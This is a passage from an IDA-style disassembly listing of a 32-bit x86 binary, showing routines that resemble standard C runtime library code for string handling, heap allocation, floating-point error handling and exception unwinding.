					; sub_4013E8+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417494
		pop	ecx
		retn
sub_41751F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41752A	proc near		; CODE XREF: sub_401444+3A1p
					; sub_401D6D+4F5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419B38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417569
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417576
; ---------------------------------------------------------------------------

loc_417569:				; CODE XREF: sub_41752A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419A23
		pop	ecx
		pop	ecx

loc_417576:				; CODE XREF: sub_41752A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41752A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417580	proc near		; CODE XREF: sub_401D6D+2C3p
					; sub_401D6D+2E3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4175FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4175E7

loc_417598:				; CODE XREF: sub_417580+52j
					; sub_417580+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4175BA
		test	al, al
		jz	short loc_4175B4

loc_4175A9:				; CODE XREF: sub_417580+32j
		mov	al, [esi]
		inc	esi

loc_4175AC:				; CODE XREF: sub_417580+3Fj
		cmp	al, dl
		jz	short loc_4175BA
		test	al, al
		jnz	short loc_4175A9

loc_4175B4:				; CODE XREF: sub_417580+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4175BA:				; CODE XREF: sub_417580+23j
					; sub_417580+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4175AC
		lea	edi, [esi-1]

loc_4175C4:				; CODE XREF: sub_417580+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4175F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417598
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4175F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4175C4
		jmp	short loc_417598
; ---------------------------------------------------------------------------

loc_4175E7:				; CODE XREF: sub_417580+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418C56
; ---------------------------------------------------------------------------

loc_4175F3:				; CODE XREF: sub_417580+49j
					; sub_417580+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4175FA:				; CODE XREF: sub_417580+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417580	endp


; =============== S U B	R O U T	I N E =======================================



sub_417600	proc near		; CODE XREF: sub_4022B5+92p
					; sub_4058E9+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417615
		or	eax, 0FFFFFFFFh
		jmp	short loc_41764F
; ---------------------------------------------------------------------------

loc_417615:				; CODE XREF: sub_417600+Ej
		test	al, 83h
		jz	short loc_41764D
		push	esi
		call	sub_41A4D0
		push	esi
		mov	edi, eax
		call	sub_41A46A
		push	dword ptr [esi+10h]
		call	sub_41A3B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41763B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41764D
; ---------------------------------------------------------------------------

loc_41763B:				; CODE XREF: sub_417600+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41764D
		push	eax
		call	sub_41793B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41764D:				; CODE XREF: sub_417600+17j
					; sub_417600+39j ...
		mov	eax, edi

loc_41764F:				; CODE XREF: sub_417600+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417656	proc near		; CODE XREF: sub_4022B5+8Cp
					; sub_40EC43+2AD4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A5A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419B38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A62F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417656	endp


; =============== S U B	R O U T	I N E =======================================



sub_417688	proc near		; CODE XREF: sub_4176A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41A7DC
		test	eax, eax
		jnz	short loc_417692
		retn
; ---------------------------------------------------------------------------

loc_417692:				; CODE XREF: sub_417688+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A66C
		add	esp, 10h
		retn
sub_417688	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176A8	proc near		; CODE XREF: sub_4022B5+54p
					; sub_4058E9+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417688
		add	esp, 0Ch
		retn
sub_4176A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176C0	proc near		; CODE XREF: sub_405983+2AEp
					; sub_40A610+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417731
sub_4176C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4022B5+32p
					; sub_4022B5+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4176EC

loc_4176DD:				; CODE XREF: sub_4176D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41771F
		test	ecx, 3
		jnz	short loc_4176DD

loc_4176EC:				; CODE XREF: sub_4176D0+Bj
					; sub_4176D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4176EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41772E
		test	ah, ah
		jz	short loc_417729
		test	eax, 0FF0000h
		jz	short loc_417724
		test	eax, 0FF000000h
		jz	short loc_41771F
		jmp	short loc_4176EC
; ---------------------------------------------------------------------------

loc_41771F:				; CODE XREF: sub_4176D0+12j
					; sub_4176D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417731
; ---------------------------------------------------------------------------

loc_417724:				; CODE XREF: sub_4176D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417731
; ---------------------------------------------------------------------------

loc_417729:				; CODE XREF: sub_4176D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417731
; ---------------------------------------------------------------------------

loc_41772E:				; CODE XREF: sub_4176D0+39j
		lea	edi, [ecx-4]

loc_417731:				; CODE XREF: sub_4176C0+5j
					; sub_4176D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417756

loc_41773D:				; CODE XREF: sub_4176D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4177A8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41773D
		jmp	short loc_417756
; ---------------------------------------------------------------------------

loc_417751:				; CODE XREF: sub_4176D0+9Ej
					; sub_4176D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417756:				; CODE XREF: sub_4176D0+6Bj
					; sub_4176D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417751
		test	dl, dl
		jz	short loc_4177A8
		test	dh, dh
		jz	short loc_41779F
		test	edx, 0FF0000h
		jz	short loc_417792
		test	edx, 0FF000000h
		jz	short loc_41778A
		jmp	short loc_417751
; ---------------------------------------------------------------------------

loc_41778A:				; CODE XREF: sub_4176D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417792:				; CODE XREF: sub_4176D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41779F:				; CODE XREF: sub_4176D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4177A8:				; CODE XREF: sub_4176D0+72j
					; sub_4176D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4176D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_402394+19Cp
					; sub_402394+1F0p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_4177D0

loc_4177BC:				; CODE XREF: sub_4177B0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417803
		test	ecx, 3
		jnz	short loc_4177BC
		add	eax, 0

loc_4177D0:				; CODE XREF: sub_4177B0+Aj
					; sub_4177B0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4177D0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417821
		test	ah, ah
		jz	short loc_417817
		test	eax, 0FF0000h
		jz	short loc_41780D
		test	eax, 0FF000000h
		jz	short loc_417803
		jmp	short loc_4177D0
; ---------------------------------------------------------------------------

loc_417803:				; CODE XREF: sub_4177B0+11j
					; sub_4177B0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41780D:				; CODE XREF: sub_4177B0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417817:				; CODE XREF: sub_4177B0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417821:				; CODE XREF: sub_4177B0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_402669+8p
					; sub_402B61+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417850

loc_41783C:				; CODE XREF: sub_417830+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41783C

loc_417850:				; CODE XREF: sub_417830+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417830	endp


; =============== S U B	R O U T	I N E =======================================



sub_41785F	proc near		; CODE XREF: sub_4029C8+7Ap
					; sub_4029C8+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417873

loc_41786B:				; CODE XREF: sub_41785F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41786B

loc_417873:				; CODE XREF: sub_41785F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417878:				; CODE XREF: sub_41785F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417878
		pop	esi
		retn
sub_41785F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417889	proc near		; CODE XREF: sub_402B61+21Dp
					; sub_402DB1+BEp ...

arg_0		= dword	ptr  4

		push	dword_48950C
		push	[esp+4+arg_0]
		call	sub_41789B
		pop	ecx
		pop	ecx
		retn
sub_417889	endp


; =============== S U B	R O U T	I N E =======================================



sub_41789B	proc near		; CODE XREF: sub_417889+Ap
					; sub_4182F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_4178C4

loc_4178A2:				; CODE XREF: sub_41789B+27j
		push	[esp+arg_0]
		call	sub_4178C7
		test	eax, eax
		pop	ecx
		jnz	short locret_4178C6
		cmp	[esp+arg_4], eax
		jz	short locret_4178C6
		push	[esp+arg_0]
		call	sub_41A854
		test	eax, eax
		pop	ecx
		jnz	short loc_4178A2

loc_4178C4:				; CODE XREF: sub_41789B+5j
		xor	eax, eax

locret_4178C6:				; CODE XREF: sub_41789B+13j
					; sub_41789B+19j
		retn
sub_41789B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178C7	proc near		; CODE XREF: sub_41789B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48AB28
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_4178EB
		cmp	esi, dword_48AB20
		ja	short loc_41791D
		push	esi
		call	sub_41ADDD
		test	eax, eax
		pop	ecx
		jz	short loc_41791D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4178EB:				; CODE XREF: sub_4178C7+Dj
		cmp	eax, 2
		jnz	short loc_41791D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417900
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417903
; ---------------------------------------------------------------------------

loc_417900:				; CODE XREF: sub_4178C7+2Fj
		push	10h
		pop	esi

loc_417903:				; CODE XREF: sub_4178C7+37j
		cmp	esi, dword_43ACC4
		ja	short loc_41792A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41B880
		test	eax, eax
		pop	ecx
		jnz	short loc_417939
		jmp	short loc_41792A
; ---------------------------------------------------------------------------

loc_41791D:				; CODE XREF: sub_4178C7+15j
					; sub_4178C7+20j ...
		test	esi, esi
		jnz	short loc_417924
		push	1
		pop	esi

loc_417924:				; CODE XREF: sub_4178C7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41792A:				; CODE XREF: sub_4178C7+42j
					; sub_4178C7+54j
		push	esi
		push	0
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap

loc_417939:				; CODE XREF: sub_4178C7+52j
		pop	esi
		retn
sub_4178C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41793B	proc near		; CODE XREF: sub_402DB1+10Bp
					; sub_402DB1+113p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_4179A1
		mov	eax, dword_48AB28
		cmp	eax, 3
		jnz	short loc_417967
		push	esi
		call	sub_41AA89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417993
		push	eax
		call	sub_41AAB4
		pop	ecx
		pop	ecx
		jmp	short loc_4179A1
; ---------------------------------------------------------------------------

loc_417967:				; CODE XREF: sub_41793B+14j
		cmp	eax, 2
		jnz	short loc_417992
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41B7E4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417992
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41B83B
		add	esp, 0Ch
		jmp	short loc_4179A1
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_41793B+2Fj
					; sub_41793B+44j
		push	esi

loc_417993:				; CODE XREF: sub_41793B+20j
		push	0
		push	dword_48AB24
		call	dword_4230E4	; RtlFreeHeap

loc_4179A1:				; CODE XREF: sub_41793B+Aj
					; sub_41793B+2Aj ...
		pop	esi
		leave
		retn
sub_41793B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4179A4(double)

sub_4179A4	proc near		; CODE XREF: sub_403FA4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_438A40
		call	sub_41C47D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417A2A
		call	sub_41C345
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417A0D
		cmp	eax, 2
		jle	short loc_4179FF
		cmp	eax, 3
		jnz	short loc_417A0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BC55
		add	esp, 10h
		jmp	short loc_417A6F
; ---------------------------------------------------------------------------

loc_4179FF:				; CODE XREF: sub_4179A4+3Fj
		push	esi
		push	ebx
		call	sub_41C47D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417A6F
; ---------------------------------------------------------------------------

loc_417A0D:				; CODE XREF: sub_4179A4+3Aj
					; sub_4179A4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4236A0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417A67
; ---------------------------------------------------------------------------

loc_417A2A:				; CODE XREF: sub_4179A4+2Fj
		call	sub_41C30A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417A4D

loc_417A3F:				; CODE XREF: sub_4179A4+ACj
		push	esi
		push	ebx
		call	sub_41C47D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417A6F
; ---------------------------------------------------------------------------

loc_417A4D:				; CODE XREF: sub_4179A4+99j
		test	bl, 20h
		jnz	short loc_417A3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417A67:				; CODE XREF: sub_4179A4+84j
		call	sub_41BCA8
		add	esp, 1Ch

loc_417A6F:				; CODE XREF: sub_4179A4+59j
					; sub_4179A4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4179A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A73	proc near		; CODE XREF: sub_4197B8+9p
					; sub_41C546+21p
					; DATA XREF: ...
		call	sub_417A8B
		call	sub_41C546
		mov	dword_489488, eax
		call	sub_41C4F6
		fnclex
		retn
sub_417A73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417A8B	proc near		; CODE XREF: sub_417A73p
		mov	eax, offset sub_41C934
		mov	off_43ADE4, offset sub_41C5C9
		mov	off_43ADE0, eax
		mov	off_43ADE8, offset sub_41C62F
		mov	off_43ADEC, offset sub_41C56F
		mov	off_43ADF0, offset sub_41C617
		mov	off_43ADF4, eax
		retn
sub_417A8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AC4	proc near		; CODE XREF: sub_403FA4+1Bp
					; sub_403FA4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417AC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417AEB(double)

sub_417AEB	proc near		; CODE XREF: sub_403FF0+83p
					; sub_404904+395p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_438A58
		call	sub_41C47D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417B71
		call	sub_41C345
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417B54
		cmp	eax, 2
		jle	short loc_417B46
		cmp	eax, 3
		jnz	short loc_417B54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BC55
		add	esp, 10h
		jmp	short loc_417BB6
; ---------------------------------------------------------------------------

loc_417B46:				; CODE XREF: sub_417AEB+3Fj
		push	esi
		push	ebx
		call	sub_41C47D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417BB6
; ---------------------------------------------------------------------------

loc_417B54:				; CODE XREF: sub_417AEB+3Aj
					; sub_417AEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4236A0
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417BAE
; ---------------------------------------------------------------------------

loc_417B71:				; CODE XREF: sub_417AEB+2Fj
		call	sub_41C30A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417B94

loc_417B86:				; CODE XREF: sub_417AEB+ACj
		push	esi
		push	ebx
		call	sub_41C47D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417BB6
; ---------------------------------------------------------------------------

loc_417B94:				; CODE XREF: sub_417AEB+99j
		test	bl, 20h
		jnz	short loc_417B86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417BAE:				; CODE XREF: sub_417AEB+84j
		call	sub_41BCA8
		add	esp, 1Ch

loc_417BB6:				; CODE XREF: sub_417AEB+59j
					; sub_417AEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417AEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BBA	proc near		; CODE XREF: sub_41CDA5+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417BBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417BEE	proc near		; CODE XREF: sub_41CF56+199p
					; sub_41D11A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417BEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417BF5	proc near		; CODE XREF: sub_41CF56+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417BF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BFC	proc near		; CODE XREF: sub_417DAE+5Cp
					; sub_41CDA5:loc_41CDD6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417C24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42274C	; RtlUnwind

loc_417C24:				; DATA XREF: sub_417BFC+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_417BFC	endp

; ---------------------------------------------------------------------------

loc_417C4B:				; CODE XREF: .data:00422DECj
					; .data:00422E09j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41C9AA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C81	proc near		; CODE XREF: sub_41CE20+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417CD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D1B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417C81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CD5	proc near		; DATA XREF: sub_417C81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41C9AA
		add	esp, 20h
		pop	ebp
		retn
sub_417CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


